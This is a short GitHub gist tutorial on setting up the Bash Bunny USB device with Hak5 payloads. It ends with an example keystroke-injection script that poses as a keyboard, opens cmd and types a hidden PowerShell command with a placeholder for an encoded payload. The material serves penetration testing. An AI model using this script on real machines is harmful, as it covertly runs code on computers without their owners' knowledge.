Skip to content

Instantly share code, notes, and snippets.

@tkisason
Last active April 10, 2017 01:04
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save tkisason/a726246f617baa5c89999fce451769db to your computer and use it in GitHub Desktop.
Save tkisason/a726246f617baa5c89999fce451769db to your computer and use it in GitHub Desktop.
BashBunny quickstart tutorial

Custom languages don't work without bbpayloads: Fetch the bashbunny payloads:

git clone https://github.com/hak5/bashbunny-payloads.git

Slide the switch to arming position (all the way to the usb plug)

move contents of payloads/library/DuckyInstall to the payloads/switch1 directory in the bunny copy the payloads/library/bunny_helpers.sh to the bashbunny dir payloads/library

Unmount, slide switch to payload1 position (all the way to the back), plug the bunny and wait until the LED blinks white.

Slide to arming, remove the install, add your bunnyscripts and that's it.

Example payload:

#!/bin/bash
LED R
source bunny_helpers.sh

ATTACKMODE HID
Q SET_LANGUAGE HR
Q DELAY 500
Q GUI r
Q STRING cmd
Q ENTER
Q DELAY 500
Q STRING powershell.exe -NoP -sta -NonI -W Hidden -Enc  <BASE64 Encoded payload>
Q ENTER
LED G
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment